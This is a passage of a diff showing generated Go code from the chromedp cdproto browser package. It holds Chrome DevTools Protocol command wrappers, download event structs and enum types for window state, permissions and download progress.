// Do executes Browser.close against the provided context.
|
||||
func (p *CloseParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandClose, nil, nil)
|
||||
}
|
||||
|
||||
// CrashParams crashes browser on the main thread.
|
||||
type CrashParams struct{}
|
||||
|
||||
// Crash crashes browser on the main thread.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-crash
|
||||
func Crash() *CrashParams {
|
||||
return &CrashParams{}
|
||||
}
|
||||
|
||||
// Do executes Browser.crash against the provided context.
|
||||
func (p *CrashParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCrash, nil, nil)
|
||||
}
|
||||
|
||||
// CrashGpuProcessParams crashes GPU process.
|
||||
type CrashGpuProcessParams struct{}
|
||||
|
||||
// CrashGpuProcess crashes GPU process.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-crashGpuProcess
|
||||
func CrashGpuProcess() *CrashGpuProcessParams {
|
||||
return &CrashGpuProcessParams{}
|
||||
}
|
||||
|
||||
// Do executes Browser.crashGpuProcess against the provided context.
|
||||
func (p *CrashGpuProcessParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCrashGpuProcess, nil, nil)
|
||||
}
|
||||
|
||||
// GetVersionParams returns version information.
|
||||
type GetVersionParams struct{}
|
||||
|
||||
// GetVersion returns version information.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getVersion
|
||||
func GetVersion() *GetVersionParams {
|
||||
return &GetVersionParams{}
|
||||
}
|
||||
|
||||
// GetVersionReturns return values.
|
||||
type GetVersionReturns struct {
|
||||
ProtocolVersion string `json:"protocolVersion,omitempty"` // Protocol version.
|
||||
Product string `json:"product,omitempty"` // Product name.
|
||||
Revision string `json:"revision,omitempty"` // Product revision.
|
||||
UserAgent string `json:"userAgent,omitempty"` // User-Agent.
|
||||
JsVersion string `json:"jsVersion,omitempty"` // V8 version.
|
||||
}
|
||||
|
||||
// Do executes Browser.getVersion against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// protocolVersion - Protocol version.
|
||||
// product - Product name.
|
||||
// revision - Product revision.
|
||||
// userAgent - User-Agent.
|
||||
// jsVersion - V8 version.
|
||||
func (p *GetVersionParams) Do(ctx context.Context) (protocolVersion string, product string, revision string, userAgent string, jsVersion string, err error) {
|
||||
// execute
|
||||
var res GetVersionReturns
|
||||
err = cdp.Execute(ctx, CommandGetVersion, nil, &res)
|
||||
if err != nil {
|
||||
return "", "", "", "", "", err
|
||||
}
|
||||
|
||||
return res.ProtocolVersion, res.Product, res.Revision, res.UserAgent, res.JsVersion, nil
|
||||
}
|
||||
|
||||
// GetBrowserCommandLineParams returns the command line switches for the
|
||||
// browser process if, and only if --enable-automation is on the commandline.
|
||||
type GetBrowserCommandLineParams struct{}
|
||||
|
||||
// GetBrowserCommandLine returns the command line switches for the browser
|
||||
// process if, and only if --enable-automation is on the commandline.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getBrowserCommandLine
|
||||
func GetBrowserCommandLine() *GetBrowserCommandLineParams {
|
||||
return &GetBrowserCommandLineParams{}
|
||||
}
|
||||
|
||||
// GetBrowserCommandLineReturns return values.
|
||||
type GetBrowserCommandLineReturns struct {
|
||||
Arguments []string `json:"arguments,omitempty"` // Commandline parameters
|
||||
}
|
||||
|
||||
// Do executes Browser.getBrowserCommandLine against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// arguments - Commandline parameters
|
||||
func (p *GetBrowserCommandLineParams) Do(ctx context.Context) (arguments []string, err error) {
|
||||
// execute
|
||||
var res GetBrowserCommandLineReturns
|
||||
err = cdp.Execute(ctx, CommandGetBrowserCommandLine, nil, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Arguments, nil
|
||||
}
|
||||
|
||||
// GetHistogramsParams get Chrome histograms.
|
||||
type GetHistogramsParams struct {
|
||||
Query string `json:"query,omitempty"` // Requested substring in name. Only histograms which have query as a substring in their name are extracted. An empty or absent query returns all histograms.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
|
||||
}
|
||||
|
||||
// GetHistograms get Chrome histograms.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getHistograms
|
||||
//
|
||||
// parameters:
|
||||
func GetHistograms() *GetHistogramsParams {
|
||||
return &GetHistogramsParams{}
|
||||
}
|
||||
|
||||
// WithQuery requested substring in name. Only histograms which have query as
|
||||
// a substring in their name are extracted. An empty or absent query returns all
|
||||
// histograms.
|
||||
func (p GetHistogramsParams) WithQuery(query string) *GetHistogramsParams {
|
||||
p.Query = query
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithDelta if true, retrieve delta since last call.
|
||||
func (p GetHistogramsParams) WithDelta(delta bool) *GetHistogramsParams {
|
||||
p.Delta = delta
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetHistogramsReturns return values.
|
||||
type GetHistogramsReturns struct {
|
||||
Histograms []*Histogram `json:"histograms,omitempty"` // Histograms.
|
||||
}
|
||||
|
||||
// Do executes Browser.getHistograms against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// histograms - Histograms.
|
||||
func (p *GetHistogramsParams) Do(ctx context.Context) (histograms []*Histogram, err error) {
|
||||
// execute
|
||||
var res GetHistogramsReturns
|
||||
err = cdp.Execute(ctx, CommandGetHistograms, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Histograms, nil
|
||||
}
|
||||
|
||||
// GetHistogramParams get a Chrome histogram by name.
|
||||
type GetHistogramParams struct {
|
||||
Name string `json:"name"` // Requested histogram name.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
|
||||
}
|
||||
|
||||
// GetHistogram get a Chrome histogram by name.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getHistogram
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// name - Requested histogram name.
|
||||
func GetHistogram(name string) *GetHistogramParams {
|
||||
return &GetHistogramParams{
|
||||
Name: name,
|
||||
}
|
||||
}
|
||||
|
||||
// WithDelta if true, retrieve delta since last call.
|
||||
func (p GetHistogramParams) WithDelta(delta bool) *GetHistogramParams {
|
||||
p.Delta = delta
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetHistogramReturns return values.
|
||||
type GetHistogramReturns struct {
|
||||
Histogram *Histogram `json:"histogram,omitempty"` // Histogram.
|
||||
}
|
||||
|
||||
// Do executes Browser.getHistogram against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// histogram - Histogram.
|
||||
func (p *GetHistogramParams) Do(ctx context.Context) (histogram *Histogram, err error) {
|
||||
// execute
|
||||
var res GetHistogramReturns
|
||||
err = cdp.Execute(ctx, CommandGetHistogram, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Histogram, nil
|
||||
}
|
||||
|
||||
// GetWindowBoundsParams get position and size of the browser window.
|
||||
type GetWindowBoundsParams struct {
|
||||
WindowID WindowID `json:"windowId"` // Browser window id.
|
||||
}
|
||||
|
||||
// GetWindowBounds get position and size of the browser window.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getWindowBounds
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// windowID - Browser window id.
|
||||
func GetWindowBounds(windowID WindowID) *GetWindowBoundsParams {
|
||||
return &GetWindowBoundsParams{
|
||||
WindowID: windowID,
|
||||
}
|
||||
}
|
||||
|
||||
// GetWindowBoundsReturns return values.
|
||||
type GetWindowBoundsReturns struct {
|
||||
Bounds *Bounds `json:"bounds,omitempty"` // Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
|
||||
}
|
||||
|
||||
// Do executes Browser.getWindowBounds against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// bounds - Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
|
||||
func (p *GetWindowBoundsParams) Do(ctx context.Context) (bounds *Bounds, err error) {
|
||||
// execute
|
||||
var res GetWindowBoundsReturns
|
||||
err = cdp.Execute(ctx, CommandGetWindowBounds, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.Bounds, nil
|
||||
}
|
||||
|
||||
// GetWindowForTargetParams get the browser window that contains the devtools
|
||||
// target.
|
||||
type GetWindowForTargetParams struct {
|
||||
TargetID target.ID `json:"targetId,omitempty"` // Devtools agent host id. If called as a part of the session, associated targetId is used.
|
||||
}
|
||||
|
||||
// GetWindowForTarget get the browser window that contains the devtools
|
||||
// target.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getWindowForTarget
|
||||
//
|
||||
// parameters:
|
||||
func GetWindowForTarget() *GetWindowForTargetParams {
|
||||
return &GetWindowForTargetParams{}
|
||||
}
|
||||
|
||||
// WithTargetID devtools agent host id. If called as a part of the session,
|
||||
// associated targetId is used.
|
||||
func (p GetWindowForTargetParams) WithTargetID(targetID target.ID) *GetWindowForTargetParams {
|
||||
p.TargetID = targetID
|
||||
return &p
|
||||
}
|
||||
|
||||
// GetWindowForTargetReturns return values.
|
||||
type GetWindowForTargetReturns struct {
|
||||
WindowID WindowID `json:"windowId,omitempty"` // Browser window id.
|
||||
Bounds *Bounds `json:"bounds,omitempty"` // Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
|
||||
}
|
||||
|
||||
// Do executes Browser.getWindowForTarget against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// windowID - Browser window id.
|
||||
// bounds - Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
|
||||
func (p *GetWindowForTargetParams) Do(ctx context.Context) (windowID WindowID, bounds *Bounds, err error) {
|
||||
// execute
|
||||
var res GetWindowForTargetReturns
|
||||
err = cdp.Execute(ctx, CommandGetWindowForTarget, p, &res)
|
||||
if err != nil {
|
||||
return 0, nil, err
|
||||
}
|
||||
|
||||
return res.WindowID, res.Bounds, nil
|
||||
}
|
||||
|
||||
// SetWindowBoundsParams set position and/or size of the browser window.
|
||||
type SetWindowBoundsParams struct {
|
||||
WindowID WindowID `json:"windowId"` // Browser window id.
|
||||
Bounds *Bounds `json:"bounds"` // New window bounds. The 'minimized', 'maximized' and 'fullscreen' states cannot be combined with 'left', 'top', 'width' or 'height'. Leaves unspecified fields unchanged.
|
||||
}
|
||||
|
||||
// SetWindowBounds set position and/or size of the browser window.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setWindowBounds
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// windowID - Browser window id.
|
||||
// bounds - New window bounds. The 'minimized', 'maximized' and 'fullscreen' states cannot be combined with 'left', 'top', 'width' or 'height'. Leaves unspecified fields unchanged.
|
||||
func SetWindowBounds(windowID WindowID, bounds *Bounds) *SetWindowBoundsParams {
|
||||
return &SetWindowBoundsParams{
|
||||
WindowID: windowID,
|
||||
Bounds: bounds,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Browser.setWindowBounds against the provided context.
|
||||
func (p *SetWindowBoundsParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetWindowBounds, p, nil)
|
||||
}
|
||||
|
||||
// SetDockTileParams set dock tile details, platform-specific.
|
||||
type SetDockTileParams struct {
|
||||
BadgeLabel string `json:"badgeLabel,omitempty"`
|
||||
Image string `json:"image,omitempty"` // Png encoded image.
|
||||
}
|
||||
|
||||
// SetDockTile set dock tile details, platform-specific.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setDockTile
|
||||
//
|
||||
// parameters:
|
||||
func SetDockTile() *SetDockTileParams {
|
||||
return &SetDockTileParams{}
|
||||
}
|
||||
|
||||
// WithBadgeLabel [no description].
|
||||
func (p SetDockTileParams) WithBadgeLabel(badgeLabel string) *SetDockTileParams {
|
||||
p.BadgeLabel = badgeLabel
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithImage png encoded image.
|
||||
func (p SetDockTileParams) WithImage(image string) *SetDockTileParams {
|
||||
p.Image = image
|
||||
return &p
|
||||
}
|
||||
|
||||
// Do executes Browser.setDockTile against the provided context.
|
||||
func (p *SetDockTileParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetDockTile, p, nil)
|
||||
}
|
||||
|
||||
// ExecuteBrowserCommandParams invoke custom browser commands used by
|
||||
// telemetry.
|
||||
type ExecuteBrowserCommandParams struct {
|
||||
CommandID CommandID `json:"commandId"`
|
||||
}
|
||||
|
||||
// ExecuteBrowserCommand invoke custom browser commands used by telemetry.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-executeBrowserCommand
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// commandID
|
||||
func ExecuteBrowserCommand(commandID CommandID) *ExecuteBrowserCommandParams {
|
||||
return &ExecuteBrowserCommandParams{
|
||||
CommandID: commandID,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Browser.executeBrowserCommand against the provided context.
|
||||
func (p *ExecuteBrowserCommandParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandExecuteBrowserCommand, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandSetPermission = "Browser.setPermission"
|
||||
CommandGrantPermissions = "Browser.grantPermissions"
|
||||
CommandResetPermissions = "Browser.resetPermissions"
|
||||
CommandSetDownloadBehavior = "Browser.setDownloadBehavior"
|
||||
CommandCancelDownload = "Browser.cancelDownload"
|
||||
CommandClose = "Browser.close"
|
||||
CommandCrash = "Browser.crash"
|
||||
CommandCrashGpuProcess = "Browser.crashGpuProcess"
|
||||
CommandGetVersion = "Browser.getVersion"
|
||||
CommandGetBrowserCommandLine = "Browser.getBrowserCommandLine"
|
||||
CommandGetHistograms = "Browser.getHistograms"
|
||||
CommandGetHistogram = "Browser.getHistogram"
|
||||
CommandGetWindowBounds = "Browser.getWindowBounds"
|
||||
CommandGetWindowForTarget = "Browser.getWindowForTarget"
|
||||
CommandSetWindowBounds = "Browser.setWindowBounds"
|
||||
CommandSetDockTile = "Browser.setDockTile"
|
||||
CommandExecuteBrowserCommand = "Browser.executeBrowserCommand"
|
||||
)
|
||||
+2421
File diff suppressed because it is too large.
Load diff
+28
@@ -0,0 +1,28 @@
|
||||
package browser
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// EventDownloadWillBegin fired when page is about to start a download.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#event-downloadWillBegin
|
||||
type EventDownloadWillBegin struct {
|
||||
FrameID cdp.FrameID `json:"frameId"` // Id of the frame that caused the download to begin.
|
||||
GUID string `json:"guid"` // Global unique identifier of the download.
|
||||
URL string `json:"url"` // URL of the resource being downloaded.
|
||||
SuggestedFilename string `json:"suggestedFilename"` // Suggested file name of the resource (the actual name of the file saved on disk may differ).
|
||||
}
|
||||
|
||||
// EventDownloadProgress fired when download makes progress. Last call has
|
||||
// |done| == true.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#event-downloadProgress
|
||||
type EventDownloadProgress struct {
|
||||
GUID string `json:"guid"` // Global unique identifier of the download.
|
||||
TotalBytes float64 `json:"totalBytes"` // Total expected bytes to download.
|
||||
ReceivedBytes float64 `json:"receivedBytes"` // Total bytes received.
|
||||
State DownloadProgressState `json:"state"` // Download status.
|
||||
}
|
||||
+412
@@ -0,0 +1,412 @@
|
||||
package browser
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
"github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// WindowID [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-WindowID
|
||||
type WindowID int64
|
||||
|
||||
// Int64 returns the WindowID as int64 value.
|
||||
func (t WindowID) Int64() int64 {
|
||||
return int64(t)
|
||||
}
|
||||
|
||||
// WindowState the state of the browser window.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-WindowState
|
||||
type WindowState string
|
||||
|
||||
// String returns the WindowState as string value.
|
||||
func (t WindowState) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// WindowState values.
|
||||
const (
|
||||
WindowStateNormal WindowState = "normal"
|
||||
WindowStateMinimized WindowState = "minimized"
|
||||
WindowStateMaximized WindowState = "maximized"
|
||||
WindowStateFullscreen WindowState = "fullscreen"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t WindowState) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t WindowState) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch WindowState(in.String()) {
|
||||
case WindowStateNormal:
|
||||
*t = WindowStateNormal
|
||||
case WindowStateMinimized:
|
||||
*t = WindowStateMinimized
|
||||
case WindowStateMaximized:
|
||||
*t = WindowStateMaximized
|
||||
case WindowStateFullscreen:
|
||||
*t = WindowStateFullscreen
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown WindowState value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *WindowState) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// Bounds browser window bounds information.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-Bounds
|
||||
type Bounds struct {
|
||||
Left int64 `json:"left,omitempty"` // The offset from the left edge of the screen to the window in pixels.
|
||||
Top int64 `json:"top,omitempty"` // The offset from the top edge of the screen to the window in pixels.
|
||||
Width int64 `json:"width,omitempty"` // The window width in pixels.
|
||||
Height int64 `json:"height,omitempty"` // The window height in pixels.
|
||||
WindowState WindowState `json:"windowState,omitempty"` // The window state. Default to normal.
|
||||
}
|
||||
|
||||
// PermissionType [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-PermissionType
|
||||
type PermissionType string
|
||||
|
||||
// String returns the PermissionType as string value.
|
||||
func (t PermissionType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PermissionType values.
|
||||
const (
|
||||
PermissionTypeAccessibilityEvents PermissionType = "accessibilityEvents"
|
||||
PermissionTypeAudioCapture PermissionType = "audioCapture"
|
||||
PermissionTypeBackgroundSync PermissionType = "backgroundSync"
|
||||
PermissionTypeBackgroundFetch PermissionType = "backgroundFetch"
|
||||
PermissionTypeClipboardReadWrite PermissionType = "clipboardReadWrite"
|
||||
PermissionTypeClipboardSanitizedWrite PermissionType = "clipboardSanitizedWrite"
|
||||
PermissionTypeDisplayCapture PermissionType = "displayCapture"
|
||||
PermissionTypeDurableStorage PermissionType = "durableStorage"
|
||||
PermissionTypeFlash PermissionType = "flash"
|
||||
PermissionTypeGeolocation PermissionType = "geolocation"
|
||||
PermissionTypeMidi PermissionType = "midi"
|
||||
PermissionTypeMidiSysex PermissionType = "midiSysex"
|
||||
PermissionTypeNfc PermissionType = "nfc"
|
||||
PermissionTypeNotifications PermissionType = "notifications"
|
||||
PermissionTypePaymentHandler PermissionType = "paymentHandler"
|
||||
PermissionTypePeriodicBackgroundSync PermissionType = "periodicBackgroundSync"
|
||||
PermissionTypeProtectedMediaIdentifier PermissionType = "protectedMediaIdentifier"
|
||||
PermissionTypeSensors PermissionType = "sensors"
|
||||
PermissionTypeVideoCapture PermissionType = "videoCapture"
|
||||
PermissionTypeVideoCapturePanTiltZoom PermissionType = "videoCapturePanTiltZoom"
|
||||
PermissionTypeIdleDetection PermissionType = "idleDetection"
|
||||
PermissionTypeWakeLockScreen PermissionType = "wakeLockScreen"
|
||||
PermissionTypeWakeLockSystem PermissionType = "wakeLockSystem"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PermissionType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PermissionType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PermissionType(in.String()) {
|
||||
case PermissionTypeAccessibilityEvents:
|
||||
*t = PermissionTypeAccessibilityEvents
|
||||
case PermissionTypeAudioCapture:
|
||||
*t = PermissionTypeAudioCapture
|
||||
case PermissionTypeBackgroundSync:
|
||||
*t = PermissionTypeBackgroundSync
|
||||
case PermissionTypeBackgroundFetch:
|
||||
*t = PermissionTypeBackgroundFetch
|
||||
case PermissionTypeClipboardReadWrite:
|
||||
*t = PermissionTypeClipboardReadWrite
|
||||
case PermissionTypeClipboardSanitizedWrite:
|
||||
*t = PermissionTypeClipboardSanitizedWrite
|
||||
case PermissionTypeDisplayCapture:
|
||||
*t = PermissionTypeDisplayCapture
|
||||
case PermissionTypeDurableStorage:
|
||||
*t = PermissionTypeDurableStorage
|
||||
case PermissionTypeFlash:
|
||||
*t = PermissionTypeFlash
|
||||
case PermissionTypeGeolocation:
|
||||
*t = PermissionTypeGeolocation
|
||||
case PermissionTypeMidi:
|
||||
*t = PermissionTypeMidi
|
||||
case PermissionTypeMidiSysex:
|
||||
*t = PermissionTypeMidiSysex
|
||||
case PermissionTypeNfc:
|
||||
*t = PermissionTypeNfc
|
||||
case PermissionTypeNotifications:
|
||||
*t = PermissionTypeNotifications
|
||||
case PermissionTypePaymentHandler:
|
||||
*t = PermissionTypePaymentHandler
|
||||
case PermissionTypePeriodicBackgroundSync:
|
||||
*t = PermissionTypePeriodicBackgroundSync
|
||||
case PermissionTypeProtectedMediaIdentifier:
|
||||
*t = PermissionTypeProtectedMediaIdentifier
|
||||
case PermissionTypeSensors:
|
||||
*t = PermissionTypeSensors
|
||||
case PermissionTypeVideoCapture:
|
||||
*t = PermissionTypeVideoCapture
|
||||
case PermissionTypeVideoCapturePanTiltZoom:
|
||||
*t = PermissionTypeVideoCapturePanTiltZoom
|
||||
case PermissionTypeIdleDetection:
|
||||
*t = PermissionTypeIdleDetection
|
||||
case PermissionTypeWakeLockScreen:
|
||||
*t = PermissionTypeWakeLockScreen
|
||||
case PermissionTypeWakeLockSystem:
|
||||
*t = PermissionTypeWakeLockSystem
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PermissionType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PermissionType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PermissionSetting [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-PermissionSetting
|
||||
type PermissionSetting string
|
||||
|
||||
// String returns the PermissionSetting as string value.
|
||||
func (t PermissionSetting) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PermissionSetting values.
|
||||
const (
|
||||
PermissionSettingGranted PermissionSetting = "granted"
|
||||
PermissionSettingDenied PermissionSetting = "denied"
|
||||
PermissionSettingPrompt PermissionSetting = "prompt"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PermissionSetting) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PermissionSetting) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PermissionSetting(in.String()) {
|
||||
case PermissionSettingGranted:
|
||||
*t = PermissionSettingGranted
|
||||
case PermissionSettingDenied:
|
||||
*t = PermissionSettingDenied
|
||||
case PermissionSettingPrompt:
|
||||
*t = PermissionSettingPrompt
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PermissionSetting value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PermissionSetting) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PermissionDescriptor definition of PermissionDescriptor defined in the
|
||||
// Permissions API:
|
||||
// https://w3c.github.io/permissions/#dictdef-permissiondescriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-PermissionDescriptor
|
||||
type PermissionDescriptor struct {
|
||||
Name string `json:"name"` // Name of permission. See https://cs.chromium.org/chromium/src/third_party/blink/renderer/modules/permissions/permission_descriptor.idl for valid permission names.
|
||||
Sysex bool `json:"sysex,omitempty"` // For "midi" permission, may also specify sysex control.
|
||||
UserVisibleOnly bool `json:"userVisibleOnly,omitempty"` // For "push" permission, may specify userVisibleOnly. Note that userVisibleOnly = true is the only currently supported type.
|
||||
AllowWithoutSanitization bool `json:"allowWithoutSanitization,omitempty"` // For "clipboard" permission, may specify allowWithoutSanitization.
|
||||
PanTiltZoom bool `json:"panTiltZoom,omitempty"` // For "camera" permission, may specify panTiltZoom.
|
||||
}
|
||||
|
||||
// CommandID browser command ids used by executeBrowserCommand.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-BrowserCommandId
|
||||
type CommandID string
|
||||
|
||||
// String returns the CommandID as string value.
|
||||
func (t CommandID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// CommandID values.
|
||||
const (
|
||||
CommandIDOpenTabSearch CommandID = "openTabSearch"
|
||||
CommandIDCloseTabSearch CommandID = "closeTabSearch"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t CommandID) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t CommandID) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CommandID) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CommandID(in.String()) {
|
||||
case CommandIDOpenTabSearch:
|
||||
*t = CommandIDOpenTabSearch
|
||||
case CommandIDCloseTabSearch:
|
||||
*t = CommandIDCloseTabSearch
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CommandID value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *CommandID) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// Bucket chrome histogram bucket.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-Bucket
|
||||
type Bucket struct {
|
||||
Low int64 `json:"low"` // Minimum value (inclusive).
|
||||
High int64 `json:"high"` // Maximum value (exclusive).
|
||||
Count int64 `json:"count"` // Number of samples.
|
||||
}
|
||||
|
||||
// Histogram chrome histogram.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-Histogram
|
||||
type Histogram struct {
|
||||
Name string `json:"name"` // Name.
|
||||
Sum int64 `json:"sum"` // Sum of sample values.
|
||||
Count int64 `json:"count"` // Total number of samples.
|
||||
Buckets []*Bucket `json:"buckets"` // Buckets.
|
||||
}
|
||||
|
||||
// DownloadProgressState download status.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#event-downloadProgress
|
||||
type DownloadProgressState string
|
||||
|
||||
// String returns the DownloadProgressState as string value.
|
||||
func (t DownloadProgressState) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// DownloadProgressState values.
|
||||
const (
|
||||
DownloadProgressStateInProgress DownloadProgressState = "inProgress"
|
||||
DownloadProgressStateCompleted DownloadProgressState = "completed"
|
||||
DownloadProgressStateCanceled DownloadProgressState = "canceled"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t DownloadProgressState) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t DownloadProgressState) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
